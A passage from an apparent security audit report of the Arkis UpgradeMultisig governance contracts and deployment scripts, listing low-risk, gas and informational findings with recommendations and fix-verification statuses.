with no `{ value }` sent. Also, `UpgradeMultisig.executeRelease` is not `payable`, so no ETH can be added at execution time. If the initializer needs ETH to run, this upgrade path cannot execute.

Recommendation:

- Add a `value` field to each proxy upgrade item and make `executeRelease` payable.
- Pass value in `upgradeAndCall` when needed.
- If ETH should never be sent, keep this disabled but add a clear rule in the docs.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.4.4 Separation of duties can be broken after deployment

Severity: Low Risk

Context: ManagementRequestLibrary.sol#L272-L281

Description: Constructor setup blocks the operator from being an initial approver, but post-deploy management validation does not keep this rule. In `validateRequest`:

- `AddApprover` only checks `APPROVER_ROLE`, so the operator can be added as approver.
- `ChangeOperator` only checks `OPERATOR_ROLE`, so an approver can be set as operator.

This allows the original constructor separation-of-duties rule to be broken during normal governance flow.

Recommendation:

- In `AddApprover`, also reject addresses that already have `OPERATOR_ROLE`.
- In `ChangeOperator`, also reject addresses that already have `APPROVER_ROLE`.
- If this merge of roles is intentional, document it clearly in the protocol docs.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.4.5 Proxy admin slot is not re-checked after `upgradeAndCall`

Severity: Low Risk

Context: ReleaseExecutor.sol#L162-L189

Description: Before execution, validation checks both implementation and admin:

- Implementation target.
- Admin equals `proxyAdmin`.

After execution, `_validateProxyUpgrade` only checks implementation.

If `upgradeAndCall` runs init code that writes proxy storage, it can change the EIP-1967 admin slot while keeping implementation unchanged. Post-check then passes, even though proxy admin control is gone from the multisig.

Recommendation:

- Re-check proxy admin in post-execution validation as well.
- Fail if `admin != proxyAdmin` after upgrade execution.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.4.6 Deployments can save implementation into modules.json instead of proxy

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: When `DEPLOY_V2_MODE=true` and a proxy already exists, `deployAndVerify()` switches to. `<contract>_Implementation` and sets `deployment` to that contract instead of the proxy:

- helpers.ts#L691-L697.

Deployment scripts then call `updateModules(...)` with `deployment.address`:

- greement/0_factory.ts#L8-L9.

`updateModules` writes the passed address directly into `modules.json`:

- forkHelpers.ts#L50-L63.

As a result, the canonical module entry is replaced with the implementation address. Later deployments that expect the module contract address to be a proxy can then use the wrong address and hit wrong calls.

Recommendation:

- In `deployAndVerify`, keep the proxy address available as the canonical module address when proxy mode is used, even in skip-upgrade mode.
- Update module file writes to save proxy addresses for proxy-based deployments.
- Add a guard so module address is never the implementation when using `proxy` options.

Arkis: Fixed in commit eff234c2.

Cantina Managed: Fix verified.

3.4.7 Deploy script uses wrong `updateOperatorsSupport` function signature

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The deploy script builds an ABI with:

- deploy/3_updateOperators.ts#L12.

The live interface expects `WhitelistingAddressRecord[]` for operators:

- IWhitelistingController.sol#L173-L176.

`updateOperatorsSupport` is called with `protocol.operators` directly:

- deploy/3_updateOperators.ts#L28.

Because the script's ABI is built with `address[]`, it encodes a different function signature and can produce wrong selector/encoding against deployed contracts, so operator updates can fail or be sent incorrectly.

Recommendation:

- Use the correct struct signature in the script ABI:
  - `updateOperatorsSupport(string calldata protocol, (address source, bool supported)[] calldata operators)`.
- Convert each operator address in `protocol.operators` to `{ source: operator, supported: true }` (or the proper flag from config) before calling.
- Keep the deploy-time ABI and source contract signatures in sync to avoid runtime failures.

Arkis: Fixed in commit eff234c2.

Cantina Managed: Fix verified.

3.4.8 Deployment script treats `SECURITY_OFFICER_ADDRESS` as optional but deployment reverts if unset

Severity: Low Risk

Context: 0_deployMultisig.ts#L330-L333

Description: The deployment script treats `SECURITY_OFFICER_ADDRESS` as optional and defaults it to `address(0)` when the env var is missing:

- If `SECURITY_OFFICER_ADDRESS` is not set → `initialSecurityOfficer = address(0)`.
- The script messaging implies this is acceptable ("optional").

However, the underlying constructor validation rejects `address(0)` for the security officer parameter. As a result, any deployment that does not explicitly provide `SECURITY_OFFICER_ADDRESS` will revert, including dev deployments, which contradicts the script behavior and messaging.

Recommendation: Consider to make the script and constructor requirements consistent by choosing one of these approaches:

Consider to make `SECURITY_OFFICER_ADDRESS` mandatory in the script (no `address(0)` default), and fail early with a clear error message when it's missing.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.4.9 Approver quorum can change between request submission and execution

Severity: Low Risk

Context: ManagementRequestLibrary.sol#L330-L349

Description: The function `validateExecution` from contract `ManagementRequestLibrary` validates that a management request exists, is not executed/rejected, and that its timelock has started and fully elapsed.

However, some management requests (e.g., `submitRemoveApproverRequest`) validate quorum-related constraints only at submission time. For example, the submission flow checks that removing an approver would still leave `getRoleMemberCount(APPROVER_ROLE) - 1 >= threshold`.

Since the approver set (and potentially the threshold) can change after submission and before execution, a request can be submitted while the constraint holds, but later become invalid by the time it is executed. Because `validateExecution` does not re-check those quorum-related invariants, the system can execute a request under conditions that would have caused it to be rejected if evaluated at execution time.

Recommendation: Consider to re-validate quorum-related invariants at execution time (e.g., inside `validateExecution` or in the per-request execution path), so that execution reflects the current approver set / threshold rather than the state at submission time.

If the intended behavior is ”constraints are checked only at submission time”, consider to document this explicitly as an invariant of the governance process, since it affects operator expectations and safety assumptions.

Arkis: Acknowledged.

Cantina Managed: Acknowledged.

3.4.10 Configured deployer is retrieved but not used for deployments

Severity: Low Risk

Context: 0_deployMultisig.ts#L267-L268

Description: In `0_deployMultisig.ts`, the script retrieves the deployer address via `getDeployerOrDefault`.

However, this value is not used when performing the actual library and multisig deployments. Instead, deployments are executed with the default signer.

As a result:

- The contract may be deployed from an unintended account.
- The deployment may fail if the default signer is not funded.
- Operational assumptions (e.g., expected deployer being the initial admin/owner) may not hold.

This creates a mismatch between the configured deployer and the effective deployment signer.

Recommendation: Consider to explicitly connect all deployment calls to the resolved `deployer` signer (e.g., via `contractFactory.connect(deployer)`), ensuring that deployments are executed from the intended account.

Alternatively, if the default signer is intentionally used, consider to remove the unused `deployer` resolution to avoid misleading configuration and operator assumptions.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.4.11 Loss of critical roles can irrecoverably brick multisig governance

Severity: Low Risk

Context: UpgradeMultisig.sol#L6

Description: The contract `UpgradeMultisig` relies on OpenZeppelin `AccessControlEnumerable` for role management (e.g., `OPERATOR_ROLE`, `APPROVER_ROLE`). The upgrade and management flows require these roles to be held by a sufficient set of accounts to meet quorum/threshold requirements.

If the operator key is lost, or if enough approvers become unavailable, governance actions may no longer be executable. Additionally, OpenZeppelin `AccessControl` exposes `renounceRole`, which allows role holders to voluntarily drop their role. This can reduce the number of active approvers below the approval threshold. Once below threshold, management requests may become unable to reach quorum, preventing the system from restoring roles or adjusting governance parameters through its normal flow.

In such a scenario, the multisig can become unable to submit/approve/execute the actions required to recover, effectively bricking governance and blocking upgrades/releases that depend on this contract.

Recommendation: Consider to introduce an explicit recovery mechanism that can restore governance in the event of role loss, such as:

- A recovery admin (ideally with strong operational protections and/or its own timelock) that can reassign critical roles.
- A bounded emergency path to reset approver sets or thresholds if quorum cannot be reached.

- Constraints around role renunciation (e.g., disallow renouncing if it would drop below threshold), if compatible with the intended governance model.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.4.12 `rethrowUnless` is a narrow exception filter and can be misused

Severity: Low Risk

Context: Errors.sol#L10-L19

Description: The function `rethrowUnless` from library `Errors` only suppresses a revert when the revert payload is exactly 4 bytes and equals the provided selector.

This means it only matches no-argument custom errors where the revert data is just the selector. It will not match common revert shapes such as `Error(string)` or custom errors with parameters (where revert data is `selector || encoded_args` and therefore `reason.length > 4`).

In `ReleaseExecutor`, the upgrade loops catch failures and then call `Errors.rethrowUnless(reason, bytes4(0))` for beacon/proxy/diamond operations. In practice, this does **not** "swallow any failure and keep going" because almost all real failures will have `reason.length != 4` and will therefore be rethrown, reverting the whole release.

Conversely, this logic will silently swallow a revert where the payload is exactly `0x00000000`, which could hide an unexpected failure and allow the release to proceed in a partially-applied state.

Recommendation: Consider to clarify and harden the error handling semantics:

- If the intent is to revert the whole release on any failure, consider to remove the `try/catch` blocks and let failures bubble naturally (or rethrow unconditionally).
- If the intent is to ignore specific errors, consider to:
  - Pass explicit selectors (as done with `AlreadyUpToDate.selector`), and...
  - Update `rethrowUnless` to match selectors in standard revert payloads by checking the first 4 bytes when `reason.length >= 4`, rather than requiring `reason.length == 4`.
- Consider to avoid using `bytes4(0)` as an "allowed" exception unless there is a concrete and documented revert shape being intentionally ignored.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.4.13 Management request execution condition is fragile when using strict equality

Severity: Low Risk

Context: UpgradeMultisig.sol#L405-L416

Description: The function `approveManagementRequest` from contract `UpgradeMultisig` counts approvals and triggers execution only when `approvalCount == threshold`.

Using strict equality makes execution fragile when governance configuration changes while a request is pending. For example, changes to the approver set or to the threshold can cause the approval count to move past the exact equality point or change the required number underneath the request. In those cases, the request may never satisfy `approvalCount == threshold` again, leaving it stuck in `Pending` even when it effectively has enough approvals under the current configuration.

Recommendation: Consider to use `approvalCount >= threshold` instead of strict equality to ensure requests remain executable once they have met or exceeded the threshold.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.4.14 Batch upgrade execution provides limited context on which step failed

Severity: Low Risk

Context: ReleaseExecutor.sol#L22

Description: The functions in `ReleaseExecutor` execute batches of upgrades (beacon upgrades, proxy upgrades, diamond cuts, evaluator updates). When an individual step fails, error bubbling may not provide enough contextual information to quickly identify:

- Which specific upgrade entry failed (index),
- Which upgrade category failed (beacon/proxy/diamond/evaluator),
- Which target address was being upgraded at the time.

This is especially relevant in loops that use `try/catch` and then rethrow using `Errors.rethrowUnless(...)`, since failures may propagate without additional context, making it harder to diagnose issues in large releases (e.g., a failure on the 4th item out of 10).

Recommendation: Consider to enrich failure reporting by including contextual data in the revert path, for example:

- Revert with a custom error that includes the upgrade type, index, and target address (and optionally the underlying revert selector/data), or...
- Emit an event before each upgrade step (type/index/target) so an off-chain observer can pinpoint the last attempted step, and revert on failure as usual.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.4.15 Management request execution does not enforce consistency of approvals and readiness across governance changes

Severity: Low Risk

Context: UpgradeMultisig.sol#L434

Description: The function `_executeManagementRequest` from contract `UpgradeMultisig` applies governance changes (e.g., add/remove approver, change threshold, change timelock) without enforcing additional consistency rules around existing approvals and pending state.

This can lead to surprising or unsafe governance outcomes depending on how the system is expected to behave:

- Add approver: a newly added approver is not required to confirm control over their key (e.g., by participating in approvals after being added). If an incorrect address is added, governance may reduce effective signer availability until corrected.
- Remove approver: approvals previously granted by the removed approver may remain recorded in `request.approvals` / `releaseApprovals`. This can create ambiguity about whether approvals should be evaluated against current role membership or a snapshot, and whether removed signers should continue to influence pending items.
- Change timelock: updating `timelockDuration` changes the time condition used by pending releases. Depending on the intended model, this can make releases become executable sooner/later than originally expected once `timelockStart` is set.

Some of these may be intended design choices, but the current implementation does not document or enforce a strict governance model, which increases the risk of operator/signer mistakes during sensitive governance operations.

Recommendation: Consider to explicitly define and enforce the intended lifecycle semantics for approvals and readiness under governance changes, for example:

- For adding approvers, consider to require an explicit acknowledgement step from the new approver (e.g., they must perform a one-time action to activate their role), to reduce the chance of adding an unusable address.

- For removing approvers, consider to clarify and enforce whether their historical approvals should remain counted for pending items, and if not, consider to clear or ignore their approvals.
- For timelock changes, consider to document whether timelock changes are intended to retroactively affect pending releases, and if not, consider to snapshot timelock parameters into each release when its timelock starts.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.5 Gas Optimization

3.5.1 Redundant storage of mapping key inside `Release` struct

Severity: Gas Optimization

Context: UpgradeMultisig.sol#L99-L100

Description: The function `submitRelease` from contract `UpgradeMultisig` stores `releaseId` inside the `Release` struct (`release.releaseId = releaseId`) even though the `Release` is already stored under `releases[releaseId]`.

This makes `releaseId` duplicated state: the mapping key already identifies the entry. The value is currently also used as an existence marker (`releases[releaseId].releaseId != bytes32(0)`), but the same purpose could be achieved without persisting the key itself (e.g., using `status`, `operator`, or a dedicated `exists` flag).

This is primarily a minor storage/write redundancy (extra SSTORE during submission) and increases state footprint.

Recommendation: Consider to remove `releaseId` from the `Release` struct and use an alternative existence check (e.g., a dedicated `bool exists`, or checking another field that is always set on creation such as `operator != address(0)`), while keeping the external `releaseId` as the mapping key and event parameter.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.5.2 Unnecessary calldata-to-memory copy when reading `FacetCut`

Severity: Gas Optimization

Context: ReleaseValidator.sol#L53

Description: The function `validateCuts` from contract `ReleaseValidator` loads `cuts[i].cuts[j]` into a `memory` variable:

- `IDiamondCut.FacetCut memory facetCut = cuts[i].cuts[j];`.

Since `cuts` originates from `calldata`, assigning an element into a `memory` variable causes a copy of the struct from calldata into memory. If the struct is only read, this introduces avoidable memory expansion and copying costs.

Recommendation: Consider to use a `calldata` reference instead of copying into `memory`, for example:

- `IDiamondCut.FacetCut calldata facetCut = cuts[i].cuts[j];`.

This preserves semantics while avoiding the calldata-to-memory copy.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.5.3 Release approval counting is recomputed on every approval

Severity: Gas Optimization

Context: UpgradeMultisig.sol#L183-L200

Description: The function `approveRelease` from contract `UpgradeMultisig` recomputes `approvalCount` by iterating over the full `APPROVER_ROLE` set on every approval:

- It loops over `getRoleMemberCount(APPROVER_ROLE)` and checks `releaseApprovals[releaseId][approver]`.

This has two implications:

- Gas growth with approver set size: each approval becomes more expensive as the number of approvers increases, since the loop cost is paid repeatedly.
- Lifecycle coupling to dynamic approver membership: because approvals are counted by iterating over the current role membership, changes to the approver set affect how a release progresses (e.g., the effective counted approvals are tied to the current enumerated set, not a snapshot at submission).

Recommendation: Consider to cache the approval count in the `Release` struct and increment it when an approver approves, rather than recomputing it by iterating over all approvers each time.

If the intended governance model requires releases to be evaluated against a snapshot of approvers/threshold at a specific point in time, consider to explicitly snapshot those parameters into the release (and document the lifecycle semantics).

Arkis: Acknowledged.

Cantina Managed: Acknowledged.

3.5.4 Unnecessary memory copy of proxy upgrades array during execution

Severity: Gas Optimization

Context: ReleaseExecutor.sol#L28

Description: The function `executeProxyUpgrades` from library `ReleaseExecutor` takes `IUpgradeMultisig.ProxyUpgrade[] memory upgrades`.

In the release execution flow, `release.proxyUpgrades` originates from storage. Passing a storage array into a function that expects `memory` forces Solidity to copy the full array from storage into memory before iterating over it. This introduces avoidable gas costs and memory expansion proportional to the number of upgrades.

Recommendation: Consider to accept the upgrades array as `IUpgradeMultisig.ProxyUpgrade[] storage upgrades` (or pass by `calldata` where applicable) so the function can iterate directly over storage without copying the entire array into memory.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6 Informational

3.6.1 Multisig beacon upgrades are not compatible with OZ `UpgradeableBeacon` beacons

Severity: Informational

Context: ReleaseExecutor.sol#L28

Description: `executeBeaconUpgrades` invokes `setImplementation` directly through `IBeacon`:

```
IBeacon(beacon).setImplementation(expectedImplementation)
```

That means only beacons implementing `setImplementation` can be upgraded through this governance flow. OpenZeppelin `UpgradeableBeacon` uses a different upgrade function (`upgradeTo`), so attempts to upgrade such beacons through `beaconUpgrades` will revert and block the release path.

Recommendation: Consider if supporting OpenZeppelin beacon upgrades is desired. If so then consider adding the path to upgrade via OZ. Otherwise, consider acknowledging the issue.

Arkis: Acknowledged.

Cantina Managed: Acknowledged.

3.6.2 Release execution check is kept outside the execution helper

Severity: Informational

Context: UpgradeMultisig.sol#L116

Description: `UpgradeMultisig.executeRelease` currently calls `ReleaseManagementLibrary.validateExecution(release)` before calling `ReleaseManagementLibrary.executeRelease(...)`.

This makes the validation logic sit outside the helper that performs the execution. If another function ever calls `ReleaseManagementLibrary.executeRelease` later, it may skip this check by mistake.

Placing validation inside the helper keeps one clear execution path and avoids future regressions also keeps the same pattern as the rest of the functions.

Recommendation: Move the validation call inside `ReleaseManagementLibrary.executeRelease` and keep only a single internal call from `UpgradeMultisig.executeRelease`.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.3 Release helpers always return `bytes32(0)` for pending release id

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: `ReleaseManagementLibrary` has three functions that return `newPendingReleaseId`, but all of them set it to `bytes32(0)`:

- `ReleaseManagementLibrary.rejectRelease`.
- `ReleaseManagementLibrary.rejectPendingRelease`.
- `ReleaseManagementLibrary.executeRelease`.

These helpers are called from `UpgradeMultisig` and the return is written into `pendingReleaseId` or destructured with a tuple, but the value is always zero. This is repetitive and makes the call flow look more complex than it is.

This pattern is also used in other helper-style code where a value is returned in a tuple but not needed as dynamic data.

Recommendation:

- In `ReleaseManagementLibrary`, remove `newPendingReleaseId` from the return types of the three helpers above.
- In `UpgradeMultisig`, set `pendingReleaseId = bytes32(0)` directly in:
  - `rejectRelease`.
  - `submitManagementRequest`.
  - `executeRelease` (keep `lastExecutedNonce` from execute result).
- Apply the same cleanup in every other helper function that returns a constant placeholder value that is only used as an assignment.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.4 No event is emitted when a management request is fully rejected

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: In `ApprovalLibrary.processManagementRequestRejection`, when `request.status` changes to `Status.Rejected`, the code only updates storage and pending ID:

```
request.status = IUpgradeMultisig.Status.Rejected;
```

No new event is emitted at that point. Off-chain services can still track each rejector's vote via `ManagementRequestRejected`, but they cannot tell directly that the request has crossed from "rejected voters so far" to "final status = Rejected" in one step.

Recommendation:

- Add an explicit event when a request becomes fully rejected (for example `ManagementRequestFullyRejected`).
- Emit this event inside the `if (rejectionCount >= threshold)` branch right after setting `status = Rejected`.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.5 Unknown management request type does not revert

Severity: Informational

Context: UpgradeMultisig.sol#L324-L326

Description: `_executeRequestAction` checks each known `ManagementRequestType` in an `if/else if` chain and ends without a final `else`. If an unsupported or future request type is passed in, the function does nothing and control returns to `_executeManagementRequest`, which still emits `ManagementRequestExecuted`. That means a request can be marked executed even though no action was performed.

Recommendation: Add a final `else` branch that reverts on unknown request types, so every passed type is either handled or rejected.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.6 Beacon upgrade does not reject no-op target

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: In beacon upgrade validation, we read `currentImplementation` from the beacon but never compare it with `newImplementation`. So a beacon upgrade that sets the same implementation to itself is not rejected as `AlreadyUpToDate`, while proxy upgrades do reject that case.

That means unnecessary governance actions can pass through for a no-op beacon change.

Recommendation:

- Add a check in `_validateBeaconUpgrades`:
  - `if (currentImplementation == upgrades[i].newImplementation) revert AlreadyUpToDate();`.
- Keep this behavior consistent with proxy upgrades and the diamond replace path.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.7 `ReleaseRejected` should include a timestamp

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: `ReleaseRejected` only has `(releaseId, rejector)` fields. Most release lifecycle events in the same file include `timestamp`, so off-chain systems now need to infer time from block data instead of reading it from the event. This makes logs harder to read and harder to index consistently.

Recommendation: Add `uint256 timestamp` to `ReleaseRejected`, either by updating the event signature.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.8 Management request rejected event uses wrong parameter name

Severity: Informational

Context: IUpgradeMultisig.sol#L183

Description: In `IUpgradeMultisig`, the event is declared as:

```
ManagementRequestRejected(bytes32 indexed requestId, address indexed approver, uint256
↪  timestamp)
```

but this event is for reject actions, so the second field name is misleading. The emit path also passes the caller that rejects the request.

Recommendation: Rename the second parameter from `approver` to `rejector` in the event declaration.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.9 Constructor does not enforce timelock duration bounds

Severity: Informational

Context: UpgradeMultisig.sol#L69

Description: `UpgradeMultisig` stores `_timelockDuration` directly at deployment:

```
timelockDuration = _timelockDuration;
```

There is no bounds check in constructor validation, even though management-request timelock changes are checked against. `MAX_TIMELOCK_DURATION` in request flow. If a large value is passed at construction, deploy goes through and an unsafe long timelock may be set from start.

Recommendation: Add a constructor-time validation for `_timelockDuration` using the same max-bound rule used elsewhere.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.10 Duplicate security officer role check in remove security officer request submission

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: `submitRemoveSecurityOfficerRequest` checks `accessControl.hasRole(ARKIS_SECURITY_OFFICER_ROLE, _securityOfficer)` and reverts `SecurityOfficerDoesNotExist` if false. But the same condition is already validated in request validation before routing to this function. So this check runs twice for remove-security-officer submissions, which adds extra gas and duplicate logic paths.

Recommendation: Keep one role check path and remove the duplicate one from `submitRemoveSecurityOfficerRequest`.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.11 Operator rotation revokes while iterating roles

Severity: Informational

Context: UpgradeMultisig.sol#L333-L337

Description: `_changeOperator` reads `operatorCount`, then loops `0..operatorCount-1` and revokes each `currentOperator`. `getRoleMember(OPERATOR_ROLE, i)` while `_revokeRole(OPERATOR_ROLE, currentOperator)` is also changing the operator set.

With one operator this works now, but if multi-operator support is added later, this pattern can skip/behave incorrectly as the role list shrinks during the loop.

Recommendation: Use a safe pattern for batch role removal (for example, clear by index from the end or revoke via a snapshot array).

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.12 Wrong revert reason in management request execution when request was rejected

Severity: Informational

Context: ManagementRequestLibrary.sol#L43

Description: In execution flows, the code reverts with `CannotApproveRejectedManagementRequest()` when a request is already rejected. That reason name is about approval, not execution, so off-chain tooling and humans get a wrong signal. The wrong reason appears in:

- Execution function.
- Execution validation function.

Recommendation:

- Use `ManagementRequestAlreadyRejected()` in execution paths, or add a new explicit execution reason.
- Keep `CannotApproveRejectedManagementRequest()` only in approval-specific paths.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.13 `Release.approvalCount` is unused and should be removed

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: `IUpgradeMultisig.Release` still has `approvalCount`, but the code now always counts approvals by iterating in `ApprovalLibrary` when needed. In practice:

- `approvalCount` is never written, and...
- Never read by release flow.

This makes the field dead code and can confuse future changes to release flow.

Recommendation:

- Remove `approvalCount` from `Release` if no longer needed.
- If a stored count is required later, add it with explicit update paths and consistency checks.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.14 Fork prep writes are not awaited before continuing

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: In `deployV2/deploy/0_prepareFork.ts`, storage writes are sent with `provider.send(...)` but are not awaited.

- deploy/0_prepareFork.ts#L37-L41.
- deploy/0_prepareFork.ts#L57.

The code then immediately moves on to later setup logic (including a tenderly nonce check and a final delay), so some storage writes can still be pending when the script continues.

Because this script is used to prepare fork state, missing `await` can produce nondeterministic state: the expected admin/owner slots might not be finalized before later steps rely on them.

Recommendation:

- Add `await` to all `provider.send(...)` calls in this script (including the two calls in the module loop and the one for `DefaultProxyAdmin`).
- Keep state updates sequential where ordering matters.

Arkis: Fixed in commit eff234c2.

Cantina Managed: Fix verified.

3.6.15 Unchecked deployer key can produce undefined sender

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: `getDeployerOrDefault` reads from named accounts with `accounts[deployerName ?? 'deployer']` and does no validation.

- helpers.ts#L961.

If the `deployer` key (or custom `deployerName`) is not present, this returns `undefined`. That value is then passed to deploy options as `from`.

- helpers.ts#L954-L955.

This can make fork/deploy runs fail late or behave unexpectedly instead of failing at configuration time.

Recommendation:

- Check that `accounts[deployerName ?? 'deployer']` exists before returning.
- Revert with a clear error when the key is missing, including which key is expected.
- Avoid passing possibly undefined `from` to deployment actions.

3.6.16 Stale deployment records can block multisig redeployment

Severity: Informational

Context: 0_deployMultisig.ts#L267-L268

Description: The deployment script `0_deployMultisig.ts` checks for an existing deployment record. If `getOrNull('UpgradeMultisig')` returns a record, the script logs that the multisig is already deployed and returns early to avoid overwriting configuration.

Because of this early return, any later logic that validates the deployment on-chain (e.g., checking whether code exists at the recorded address) and/or removes stale deployment records becomes unreachable.

As a result, if the deployment record points to an address where the contract is not actually deployed (or the record is otherwise stale), the script will permanently block redeployments unless the deployment artifacts are manually cleaned up.

Recommendation: Consider to perform the on-chain code check (and stale-record cleanup) before returning early. For example:

- If a deployment record exists **and** there is code at that address, return early as today.
- If a deployment record exists but the address has no code, consider to delete/overwrite the record and proceed with a fresh deployment.

This keeps the avoid accidental overwrite behavior while still allowing recovery from stale deployment state.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.17 Redundant conditional checks when validating release status

Severity: Informational

Context: UpgradeMultisig.sol#L137-L142

Description: The function performs two consecutive checks on `release.status`:

- Reverts if `release.status == Status.Executed`.
- Reverts if `release.status == Status.Rejected`.

Both checks are mutually exclusive and could be expressed as a single conditional chain. While the current implementation is correct, the duplicated `if` statements introduce minor redundancy and slightly reduce readability.

Recommendation: Consider to merge the checks into a single conditional structure (e.g., an `if / else if` chain) to make the control flow more compact and explicit, without changing behavior.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.18 Duplicate initial approvers can permanently prevent quorum formation

Severity: Informational

Context: UpgradeMultisig.sol#L47-L49

Description: The constructor of `UpgradeMultisig` validates the quorum threshold against `_initialApprovers.length`. However, approvers are later granted using `AccessControlEnumerable`, which internally stores role members as a set and silently ignores duplicate addresses.

As a result, deployment can succeed even if `_initialApprovers` contains duplicate addresses. In that case, the threshold may be calculated assuming more approvers than are actually granted. If the number of unique approvers ends up being lower than the threshold, neither release approvals nor management requests can ever reach quorum.

This leads to a governance deadlock where upgrades and management actions become permanently unexecutable from the moment of deployment.

Recommendation: Consider to enforce uniqueness in `_initialApprovers` during construction (e.g., reject duplicate addresses), or alternatively validate the threshold against the number of unique approvers actually granted. This ensures that quorum assumptions at deployment time match the effective role membership.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.19 `rejectManagementRequest` can be called repeatedly on already rejected requests

Severity: Informational

Context: UpgradeMultisig.sol#L419-L432

Description: The function `rejectManagementRequest` from contract `UpgradeMultisig` only prevents rejection when the request status is `Status.Executed`. It does not check whether the request has already been rejected.

As a result, any approver can repeatedly call `rejectManagementRequest` on an already rejected management request. Each call will overwrite the status with the same value and emit a new `ManagementRequestRejected` event.

While this does not change state beyond event emission, it allows repeated rejections of the same request, which can generate redundant events and introduce ambiguity when interpreting governance history (e.g., multiple rejection events for a single request).

Recommendation: Consider to prevent repeated rejections by reverting when `request.status == Status.Rejected`, ensuring that rejection is a one-time, final action unless explicitly designed otherwise.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.20 Release events do not emit the release hash

Severity: Informational

Context: UpgradeMultisig.sol#L121

Description: When a release is submitted, events emit the `releaseId` but do not emit the full release hash (or equivalent data that uniquely identifies the release contents).

This limits observability for off-chain consumers (indexers, monitoring systems, governance dashboards), as they cannot easily reconstruct or verify the exact release payload from events alone. In practice, this makes it harder to audit, trace, or correlate on-chain release actions with off-chain release definitions.

Recommendation: Consider to emit the release hash (or an equivalent deterministic identifier derived from the release contents) alongside `releaseId` in the relevant release-related events. This would improve transparency and simplify off-chain tracking and verification without affecting on-chain logic.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.21 Beacon upgrades are not post-verified and verification may be blocked while paused

Severity: Informational

Context: ReleaseExecutor.sol#L20

Description: The function `executeBeaconUpgrades` from library `ReleaseExecutor` upgrades beacons by calling `IBeacon(beacon).setImplementation(newImplementation)` and does not perform a post-check to verify that the beacon's implementation was actually updated.

As a defense-in-depth measure, it can be useful to validate that the beacon now reports the intended implementation. However, in this codebase the beacon `implementation()` view is gated by `whenNotPaused`, which can prevent verifying the new implementation while the system is paused as part of the release process.

This makes it harder to add simple in-transaction verification and can reduce operational observability during upgrades.

Recommendation: Consider to add a post-upgrade verification step where feasible (e.g., verifying via a pause-independent view, an event emitted by the beacon on update, or a dedicated internal getter not gated by `whenNotPaused`). Alternatively, consider to document that `implementation()` is not readable while paused and that upgrades rely on `setImplementation` reverting on failure.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.22 Releases do not support on chain post upgrade verification checks

Severity: Informational

Context: ReleaseExecutor.sol#L16

Description: The upgrade execution flow applies beacon upgrades, proxy upgrades, and diamond cuts, but it does not include any generic mechanism to verify on-chain that the expected post-upgrade state is in effect (beyond individual upgrade calls not reverting).

This means upgrade correctness relies primarily on:

- Upgrade calls succeeding, and...
- Off-chain validation/monitoring to confirm the new versions are active and behaving as intended.

As a defense-in-depth measure, the release lifecycle could be strengthened by allowing a release to include a list of read-only verification calls to be executed after upgrades complete. If any verification fails or returns an unexpected value, the release execution could revert, preventing completion under unexpected post-upgrade conditions.

Recommendation: Consider to extend the release structure to optionally include a list of verification steps, such as `(target, calldata, expectedReturn)` tuples, executed via `staticcall` after all upgrades are applied. Consider to revert the release if any verification call fails or does not match the expected value.

This could be used for simple checks like calling `VERSION()` (or similar) on upgraded contracts to confirm the new implementation is live and responsive.

Arkis: Acknowledged.

Cantina Managed: Acknowledged.

3.6.23 Release ID derivation does not bind the ID to the release contents

Severity: Informational

Context: UpgradeMultisig.sol#L86

Description: The function `submitRelease` from contract `UpgradeMultisig` derives `releaseId` as:

- `releaseId = keccak256(abi.encode(address(this), nonce));`.

This makes the release identifier depend only on the contract address and a nonce. While this is sufficient for uniqueness, the identifier is not bound to the release contents (e.g., a release hash).

As a result, `releaseId` does not provide a deterministic link to the release payload. This can reduce off-chain traceability and makes it harder to correlate IDs with the underlying release definition without additional storage reads.

Recommendation: Consider to derive `releaseId` using the same pattern as management request IDs by including a `releaseHash` (or other deterministic summary of the release contents), for example:

- `releaseId = keccak256(abi.encode(address(this), nonce, releaseHash));`.

This preserves uniqueness while binding the ID to the specific release payload for better transparency and tooling support.

